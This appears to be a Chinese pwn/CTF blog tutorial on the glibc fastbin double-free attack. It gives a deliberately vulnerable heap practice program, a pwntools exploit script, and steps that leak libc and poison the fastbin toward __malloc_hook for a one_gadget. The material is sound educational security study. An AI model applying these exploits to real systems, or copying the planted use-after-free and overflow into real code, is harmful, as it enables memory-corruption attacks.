fastbinattack

文章发布时间:

最后更新时间:

文章总字数:
2.2k

预计阅读时间:
11 分钟

前言

很久没继续写堆部分的博客了 大部分的时间都花在重复性的刷题来掌握牢固低版本glibc的漏洞

换句话说这段时间一点进步也没有233

今天突然想起来许久没有更了 那就直接步入正题

演示程序源码我自己写的 想复现的可以自行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include<stdio.h>
#include<stdlib.h>
int chunk_time =0;
int chunk_size[50];
char *chunk_ptr[50];
void init(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void menu(){
puts("Life is fucking movie");
puts("Life is always full of unhappiness, like this question");
puts("Anyway, what's your answer");
puts(">");
}
void add(){
int index;
char size[20];
puts("What do you really want?");
if(chunk_time<=32&&chunk_time>=0){
if(!chunk_ptr[chunk_time]){
printf("This is the %dth choice in your life\n",chunk_time);
puts("You can customize the size of chunk, but what about your life");
read(0,size,0x8);
chunk_size[chunk_time] = atoi(size);
chunk_ptr[chunk_time] = malloc(chunk_size[chunk_time]);
puts("Although your life is a piece of shit, you still have the initiative, right?");
read(0,chunk_ptr[chunk_time],chunk_size[chunk_time]);
chunk_time++;
}else{
puts("error");
exit(0);
}
}else{
exit(0);
puts("");
}
}
void delete(){
char data[100];
int index;
puts("I didn't set the pointer to zero, just like some things can't be repeated");
scanf("%d",&index);
free(chunk_ptr[index]);
}
void edit(){
int index;
puts("It's never too late to start again. What do you regret?");
scanf("%d",&index);
puts("You all know that there can be overflows here, so why do you set limits on your life?");
read(0,chunk_size[index],0x8);
puts("Come back!");
read(0,chunk_ptr[index],chunk_size[index]);
}
void show(){
puts("You can't live a perfect life without making any effort");
int index;
scanf("%d",&index);
puts(chunk_ptr[index]);
}
int main(){
int choice;
init();
puts("This program is used to debug heap vulnerabilities");
puts("write by chen");
while(1){
menu();
scanf("%d",&choice);
switch(choice){
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
puts("The fog of that morning cleared, not only in the morning, but also in the fog");
puts("You will be stronger next time I see you");
exit(0);
break;
}
}
}

顺便提供一下exp脚本 方便大家快速开始调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
io = process("./testheap")
elf = ELF("./testheap")
libc = ELF("./locate_libc2.23")
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
def debug():
gdb.attach(io)
pause()

def add(size,payload):
io.recvuntil(">")
io.sendline(b'1')
io.recvuntil("You can customize the size of chunk, but what about your life")
io.sendline(str(size))
io.recvuntil("Although your life is a piece of shit, you still have the initiative, right?")
io.send(payload)

def delete(index):
io.recvuntil(">")
io.sendline(b'2')
io.recvuntil("I didn't set the pointer to zero, just like some things can't be repeated")
io.sendline(str(index))

def edit(index,size,payload):
io.recvuntil(">")
io.sendline(b'3')
io.recvuntil("It's never too late to start again. What do you regret?")
io.sendline(str(index))
io.recvuntil("You all know that there can be overflows here, so why do you set limits on your life?")
io.sendline(str(size))
io.recvuntil("Come back!")
io.send(payload)

def show(index):
io.recvuntil(">")
io.sendline(b'4')
io.recvuntil("You can't live a perfect life without making any effort")
io.sendline(str(index))

ubuntu16.04 libc2.23

fastbin的范围是0x20 - 0x80 这里的大小不是用户申请的大小 而是系统实际分配的大小

fastbin设计的初衷是为了方便小内存chunk的释放和重新分配 为了防止和相邻的chunk合并 所以位于fastbin中的free chunk的PREV_INUSE位不会被设置为0 始终为1

存放fastbin链表的是malloc_state结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

在pwndbg中可以使用arena来查看其结构

其中可以看到fastbin一共有十个链表 但是可用的只有7个

其范围从0x20 - 0x80 并且是实际分配的chunk大小 而非用户申请的大小

fastbin为单向链表 遵循着先进后出的原则 即先进来的chunk位于链表尾

在2.23及以下的版本 glibc对于fastbin的检查是依靠于检测main_arena指向的chunk

即位于链表头的chunk 如果要释放的chunk和位于链表头的chunk是同一个 那么就会触发double free终止进程

1
2
3
4
5
6
7
8
9
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}

如果我们直接释放两次chunk1

*** Error in `./testheap’: double free or corruption (fasttop): 0x000055df88768010 ***

程序就被终止了 但是如果我们利用chunk2来干扰一下链表结构

如果此时我们释放chunk1后释放chunk2 此时再次释放chunk1

在第二次释放chunk1之前的链表头为chunk2 系统此时误判没有double free 那么释放chunk1后的链表结构就如图所示

在pwndbg中的表现如此

可以看到此时chunk1即位于链表头又位于链表尾

如果我们再次申请一个0x30大小的chunk 申请到的是位于链表头的chunk1 但是此时还有一个chunk1在链表中

我们此时获得了修改chunk1的fd域的能力 如果修改chunk1的fd域 此时的链表结构就会为

此时我们再次申请三个chunk 申请的第三个chunk就会分配到’testtest’处的地址 chunk以该地址为chunk的prev_size首地址 而非用户区的首地址

1
2
3
4
5
6
7
8
9
10
11
add(0x20,b'aaaa')#0
add(0x20,b'aaaa')#1
add(0x10,b'aaaa')#2
delete(0)
delete(1)
delete(0)
add(0x20,p64(0x666666))#3
add(0x20,b'aaaa')#4
add(0x20,b'aaaa')#5
add(0x20,b'testtest')
debug()

但是你很快就会发现 我们并不能如愿以偿申请到0x666666地址的chunk 这是因为fastbin在分配出chunk的时候对于chunk的size域还有一次检查

检查你要申请的这个chunk的大小是否在该fastbin链的大小尺寸范围内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (__glibc_unlikely (misaligned_chunk (victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (victim->fd);
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

你可能也在其他教程或者wp中见到 我们在libc2.23的情况下 通常都是打malloc_hook 这是因为在malloc_hook-0x23处可以绕过fastbin的检测

我们来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(0x68,b'aaaa')#0
add(0x68,b'aaaa')#1
add(0x80,b'aaaa')#2
add(0x10,b'aaaa')#3
delete(2)
show(2)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7fbf49537b78-0x7fbf49173000)
success("libc_addr :"+hex(libc_addr))
malloc_hook = libc_addr + libc.sym['__malloc_hook']
success("malloc_hook :"+hex(malloc_hook))
onegadget_addr = libc_addr + 0x4527a
delete(0)
delete(1)
delete(0)
add(0x68,p64(malloc_hook-0x23))
add(0x68,b'aaaa')
add(0x68,b'aaaa')
debug()

此时malloc_hook-0x23正位于fastbin的链表上 我们跟进一下这个地址查看其内容

可以看到此时这个地址的第二个字长处正好是0x7f 由于free chunk位于的是0x70的链表 所以可以通过检查将其取出 随后我们只需要覆盖0xb+0x8的垃圾数据就能篡改malloc_hook

并且在ubuntu16中 这个地址处恒为0x7f

ubuntu18.04 libc2.27(old)

版本来到ubuntu18 此时新设了一个bin 名为tcachebin 这里只需要知道0x20-0x408的chunk都会优先被释放到其单向链表上

其他的我们在tcachebinattack中讲

此时fastbin的漏洞依然存在 我们仍然可以通过穿插释放一个chunk来使glibc误判 但是由于fastbin的范围被tcache覆盖 我们需要将tcache的一个链表填满 才能释放到fastbin中 不过由于tcachebin的漏洞更好利用 实际上在ubuntu18中 大部分都是使用的tcachebinattack 这里做个了解就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x68,b'aaaa')#0
add(0x68,b'aaaa')#1
add(0x68,b'aaaa')#2
for i in range(7):
add(0x68,b'aaaa')

add(0x10,b'aaaa')
for i in range(7):
delete(i+3)

delete(0)
delete(1)
delete(0)